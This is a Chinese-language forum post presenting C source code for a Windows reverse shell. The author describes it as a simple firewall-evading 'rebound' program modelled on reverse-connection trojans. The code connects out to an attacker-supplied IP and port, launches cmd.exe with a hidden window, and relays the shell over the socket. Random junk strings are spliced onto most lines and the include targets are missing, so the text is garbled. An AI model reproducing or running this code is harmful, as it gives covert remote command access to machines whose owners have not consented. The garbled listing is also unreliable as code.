社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5768阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 BF2U$-k4  
;b=diZE  
/* ============================== '"\n,3h  
Rebound port in Windows NT ^o _J0 ]m  
By wind,2006/7 ^78N25RU(  
===============================*/ ;Wy03}K4J  
#include -N^Ah_9ek  
#include KWjhkRK4]  
g9JZ#BgZ  
#pragma comment(lib,"wsock32.lib") <EgJm`V  
{_*G"A 9  
void OutputShell(); "&f|<g5  
SOCKET sClient; ko[d axUB  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =hb)e}l  
fPKpV`Hr3  
void main(int argc,char **argv) b/m.VL  
{ _+aR| AEC  
WSADATA stWsaData; {D",ao   
int nRet; @ewi96  
SOCKADDR_IN stSaiClient,stSaiServer; X)iI]   
1 ; <Vr<.  
if(argc != 3) x+za6e_k"  
{ -hm/lxyU  
printf("Useage:\n\rRebound DestIP DestPort\n"); y7!&  
return; oVZzvK(zR  
} K n1;=k  
L)\<7  
WSAStartup(MAKEWORD(2,2),&stWsaData); ,4'y(X<R  
F5YoEWS  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?yj g\S?L  
^&mrY[;S  
stSaiClient.sin_family = AF_INET; H.>EO&#|p  
stSaiClient.sin_port = htons(0); vxk0@k_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); # }}6JM  
r^msJ|k8[  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >0ZG&W9  
{ @|t]9  
printf("Bind Socket Failed!\n"); w0j'>4  
return; Ag+B*   
} R\7r!38  
1,OkuyXy!>  
stSaiServer.sin_family = AF_INET; V[*>}XQER  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =8`KGeP$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); " 62g!e}!c  
Wp:vz']V  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 11#b%dT  
{ Ut'T!RD  
printf("Connect Error!"); ,:J[|9  
return; 3V^5 4_  
} /({oN1X>i  
OutputShell(); @XtrC|dkkE  
} DBaZcO(U  
y>E:]#F  
void OutputShell() )7+z/y+[n  
{ hO3 q|SL  
char szBuff[1024]; $)KODI>|  
SECURITY_ATTRIBUTES stSecurityAttributes; aN*{nW  
OSVERSIONINFO stOsversionInfo; iZ}c[hC'3`  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0L32sF y  
STARTUPINFO stStartupInfo; #T>?g5I  
char *szShell; u tkdL4G}'  
PROCESS_INFORMATION stProcessInformation; z?Z"*z  
unsigned long lBytesRead; d(^HO~p  
`<v$+mG  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z}vDP^rf  
Pvt!G  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); W*_c*  
stSecurityAttributes.lpSecurityDescriptor = 0; <N~9=g3  
stSecurityAttributes.bInheritHandle = TRUE; j[\:#/J  
6qTMHRI  
T!9AEG  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B?^~1Ua9Zv  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J;wBS w%1  
>2),HZp^I  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Vi^vG`L9  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -u"|{5? '  
stStartupInfo.wShowWindow = SW_HIDE; w{L9-o3A  
stStartupInfo.hStdInput = hReadPipe; }{@y]DcdM4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?<N} Xh  
I2RXw  
GetVersionEx(&stOsversionInfo); l8+)Xk>   
 *$DD+]2  
switch(stOsversionInfo.dwPlatformId) hPz=Ec<zW  
{ xgkCN$zQ`  
case 1: y*sVimx  
szShell = "command.com"; pnp8`\cIH  
break; p&<n_b  
default: Pke8RLg2A  
szShell = "cmd.exe"; Y-1K'VhT  
break; ge?0>UU;~  
} {4/*2IRN9h  
(b[=~Nh'  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >m!Z$m([J  
0iR?r+|  
send(sClient,szMsg,77,0); 3[_WTwX0  
while(1) /!t:MK;  
{ DxN\ H"  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); cc`u{F9  
if(lBytesRead) y1}2hT0,  
{ +IbV  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4B[pQlg  
send(sClient,szBuff,lBytesRead,0); +eH`mI0f  
} n<FUaR>q}  
else }dMX1e1h8  
{ r 20!   
lBytesRead=recv(sClient,szBuff,1024,0); 90iveb21}  
if(lBytesRead<=0) break; -!5l4  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MxX)&327  
} kiyKL:6D|  
} #Q["[}flVv  
<wFmfrx+v  
return; ONpvx5'#  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八